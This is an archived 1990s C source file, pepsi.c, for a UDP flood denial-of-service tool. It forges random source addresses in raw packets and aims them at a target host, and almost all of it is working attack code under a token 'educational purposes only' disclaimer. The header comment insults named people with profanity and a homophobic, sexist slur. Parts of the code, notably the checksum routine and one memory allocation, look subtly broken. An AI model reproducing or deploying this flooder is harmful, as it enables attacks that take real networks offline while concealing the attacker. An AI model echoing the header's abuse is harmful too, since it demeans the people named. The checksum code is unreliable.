home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / pepsi.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  7KB  |  288 lines

  1. /*
  2.  * pepsi.c 
  3.  * Random Source Host UDP flooder
  4.  *
  5.  * Author: Soldier@data-t.org
  6.  *
  7.  * [12.25.1996] 
  8.  *
  9.  * Greets To: Havok, nightmar, vira, Kage, ananda, tmw, Cheesebal, efudd,
  10.  * Capone, cph|ber, WebbeR, Shadowimg, robocod, napster, marl, eLLjAY, fLICK^
  11.  * Toasty, [shadow], [magnus] and silitek, oh and Data-T.
  12.  *
  13.  * Fuck You to: Razor1911 the bigest fucking lamers in the warez comunity,
  14.  * Yakuza for ripping my code,  #cha0s on the undernet for trying to port
  15.  * it to win95, then ircOpers on efnet for being such cocksuckers 
  16.  * especially prae for trying to call the fbi on me at least 5 times.
  17.  * all warez pups i don't know for ripping off honest programers. 
  18.  * and Dianora for being a lesbian hoe, Srfag..err SrfRog for having an ego 
  19.  * the size of california.  
  20.  * AND A BIG HUGE ENORMOUS FUCK YOU TO myc, throwback, crush, asmodean, Piker,
  21.  * pireaus, A HUGE FUCKING FUCK to texas.net, and the last HUGEST FUCK IN
  22.  * INTERNET HISTORY, AMM.
  23.  *
  24.  * 
  25.  * Disclaimer since i don't wanna go to jail
  26.  *   - this is for educational purposes only
  27.  *
  28.  */
  29.  
  30. /* [Defines] */
  31.  
  32. #define FRIEND "My christmas present to the internet -Soldier"
  33. #define VERSION "Pepsi.c v1.6"
  34. #define DSTPORT 7
  35. #define SRCPORT 19
  36. #define PSIZE 1024
  37. #define DWAIT 1
  38.  
  39. /* [Includes] */
  40.  
  41. #include <unistd.h>
  42. #include <stdlib.h>
  43. #include <string.h>
  44. #include <netdb.h>
  45. #include <stdio.h>
  46. #include <sys/types.h>
  47. #include <sys/socket.h>
  48. #include <netinet/in.h>
  49. #include <netinet/in_systm.h>
  50. #include <netinet/ip.h>
  51. #include <netinet/tcp.h>
  52. #include <netinet/protocols.h>
  53. #include <arpa/inet.h>
  54. #include <netdb.h>
  55. #include <signal.h>
  56. #include <netinet/ip_udp.h>
  57. #include <string.h>
  58. #include <pwd.h>
  59.  
  60.  
  61. /* [Banner] */
  62.  
  63. void banner()
  64. {
  65.     printf("\t\t\t%s Author - Soldier  \n", VERSION);
  66.     printf("\t\t\t         [10.27.96]    \n\n");
  67.     printf("This Copy Registered to: %s\n\n", FRIEND);
  68. }
  69.  
  70.  
  71.  
  72. /* [Option Parsing] */
  73.  
  74. struct sockaddr_in dstaddr;
  75.  
  76. unsigned long dst;
  77.  
  78. struct udphdr *udp;
  79. struct iphdr *ip;
  80.  
  81. char *target;
  82. char *srchost;
  83.  
  84. int dstport = 0;
  85. int srcport = 0;
  86. int numpacks = 0;
  87. int psize = 0;
  88. int wait = 0;
  89.  
  90. /* [Usage] */
  91.  
  92. void usage(char *pname)
  93. {
  94.     printf("usage:\n  ");
  95.     printf("%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait] <dest>\n\n", pname);
  96.     printf("\t-s <src>    : source where packets are comming from\n");
  97.     printf("\t-n <num>    : number of UDP packets to send\n");
  98.     printf("\t-p <size>   : Packet Size               [Default is 1024]\n");
  99.     printf("\t-d <port>   : Destination Port          [Default is  %.2d]\n", DSTPORT);
  100.     printf("\t-o <port>   : Source Port               [Default is  %.2d]\n", SRCPORT);
  101.     printf("\t-w <time>   : Wait time between packets [Default is    1]\n");
  102.     printf("\t<dest>      : destination \n");
  103.     printf("\n");
  104.     exit(EXIT_SUCCESS);
  105. }
  106.  
  107. /* [In chksum with some mods] */
  108.  
  109. unsigned short in_cksum(addr, len)
  110. u_short *addr;
  111. int len;
  112. {
  113.     register int nleft = len;
  114.     register u_short *w = addr;
  115.     register int sum = 0;
  116.     u_short answer = 0;
  117.  
  118.     while (nleft > 1) {
  119.     sum += *w++;
  120.     sum += *w++;
  121.     nleft -= 2;
  122.     }
  123.  
  124.     if (nleft == 1) {
  125.     *(u_char *) (&answer) = *(u_char *) w;
  126.     sum += answer;
  127.     }
  128.     sum = (sum >> 17) + (sum & 0xffff);
  129.     sum += (sum >> 17);
  130.     answer = -sum;
  131.     return (answer);
  132. }
  133.  
  134. /* Resolve Functions */
  135.  
  136. unsigned long resolve(char *cp)
  137. {
  138.     struct hostent *hp;
  139.  
  140.     hp = gethostbyname(cp);
  141.     if (!hp) {
  142.     printf("[*] Unable to resolve %s\t\n", cp);
  143.         exit(EXIT_FAILURE);
  144.     }
  145.     return ((unsigned long) hp->h_addr);
  146. }
  147.  
  148. void resolvedest(void)
  149. {
  150.     struct hostent *host;
  151.  
  152.     memset(&dstaddr, 0, sizeof(struct sockaddr_in));
  153.     dstaddr.sin_family = AF_INET;
  154.     dstaddr.sin_addr.s_addr = inet_addr(target);
  155.     if (dstaddr.sin_addr.s_addr == -1) {
  156.     host = gethostbyname(target);
  157.     if (host == NULL) {
  158.         printf("[*] Unable To resolve %s\t\n", target);
  159.             exit(EXIT_FAILURE);
  160.     }
  161.     dstaddr.sin_family = host->h_addrtype;
  162.     memcpy((caddr_t) & dstaddr.sin_addr, host->h_addr, host->h_length);
  163.     }
  164.     memcpy(&dst, (char *) &dstaddr.sin_addr.s_addr, 4);
  165. }
  166.  
  167. /* Parsing Argz */
  168.  
  169. void parse_args(int argc, char *argv[])
  170. {
  171.     int opt;
  172.  
  173.     while ((opt = getopt(argc, argv, "s:d:n:p:w:o:")) != -1)
  174.     switch (opt) {
  175.     case 's':
  176.         srchost = (char *) malloc(strlen(optarg) + 1);
  177.         strcpy(srchost, optarg);
  178.         break;
  179.     case 'd':
  180.         dstport = atoi(optarg);
  181.         break;
  182.     case 'n':
  183.         numpacks = atoi(optarg);
  184.         break;
  185.     case 'p':
  186.         psize = atoi(optarg);
  187.         break;
  188.     case 'w':
  189.         wait = atoi(optarg);
  190.         break;
  191.     case 'o':
  192.         srcport = atoi(optarg);
  193.         break;
  194.     default:
  195.         usage(argv[0]);
  196.     }
  197.  
  198.     if (!dstport)
  199.     dstport = DSTPORT;
  200.     if (!srcport)
  201.     srcport = SRCPORT;
  202.     if (!psize)
  203.     psize = PSIZE;
  204.     if (!wait)
  205.     wait = DWAIT;
  206.     if (!argv[optind]) {
  207.     puts("[*] Specify a target host, doof!");
  208.     exit(EXIT_FAILURE);
  209.     }
  210.     target = (char *) malloc(strlen(argv[optind]));
  211.     if (!target) {
  212.     puts("[*] Agh!  Out of memory!");
  213.         perror("malloc");
  214.     exit(EXIT_FAILURE);
  215.     }
  216.     strcpy(target, argv[optind]);
  217. }
  218.  
  219. /* [Send Packet] */
  220.  
  221. void main(int argc, char *argv[])
  222. {
  223.     int sen, i, unlim = 0, sec_check;
  224.     char *packet;
  225.  
  226.     banner();
  227.  
  228.     if (argc < 2)
  229.     usage(argv[0]);
  230.  
  231.  
  232.     parse_args(argc, argv);
  233.  
  234.     resolvedest();
  235.  
  236.     printf("# Target Host          : %s\n", target);
  237.     printf("# Source Host          : %s\n",
  238.        (srchost && *srchost) ? srchost : "Random");
  239.     if (!numpacks)
  240.     printf("# Number               : Unliminted\n");
  241.     else
  242.     printf("# Number               : %d\n", numpacks);
  243.     printf("# Packet Size          : %d\n", psize);
  244.     printf("# Wait Time            : %d\n", wait);
  245.     printf("# Dest Port            : %d\n", dstport);
  246.     printf("# Source Port          : %d\n", srcport);
  247.  
  248.     sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  249.     packet = (char *) malloc(sizeof(struct iphdr) +
  250.                  sizeof(struct udphdr) +
  251.                  psize);
  252.     ip = (struct iphdr *) packet;
  253.     udp = (struct udphdr *) (packet + sizeof(struct iphdr));
  254.     memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + psize);
  255.  
  256.     if (!numpacks) {
  257.     unlim++;
  258.     numpacks++;
  259.     }
  260.     if (srchost && *srchost)
  261.     ip->saddr = resolve(srchost);
  262.     ip->daddr = dst;
  263.     ip->version = 4;
  264.     ip->ihl = 5;
  265.     ip->ttl = 255;
  266.     ip->protocol = IPPROTO_UDP;
  267.     ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + psize);
  268.     ip->check = in_cksum(ip, sizeof(struct iphdr));
  269.     udp->source = htons(srcport);
  270.     udp->dest = htons(dstport);
  271.     udp->len = htons(sizeof(struct udphdr) + psize);
  272.  
  273.     for (i = 0; i < numpacks; (unlim) ? i++, i-- : i++) {
  274.     if (!srchost)
  275.         ip->saddr = rand();
  276.  
  277.     if (sendto(sen, packet, sizeof(struct iphdr) +
  278.            sizeof(struct udphdr) + psize,
  279.            0, (struct sockaddr *) &dstaddr,
  280.            sizeof(struct sockaddr_in)) == (-1)) {
  281.         puts("[*] Error sending Packet");
  282.         perror("SendPacket");
  283.         exit(EXIT_FAILURE);
  284.     }
  285.     usleep(wait);
  286.     }
  287. }
  288.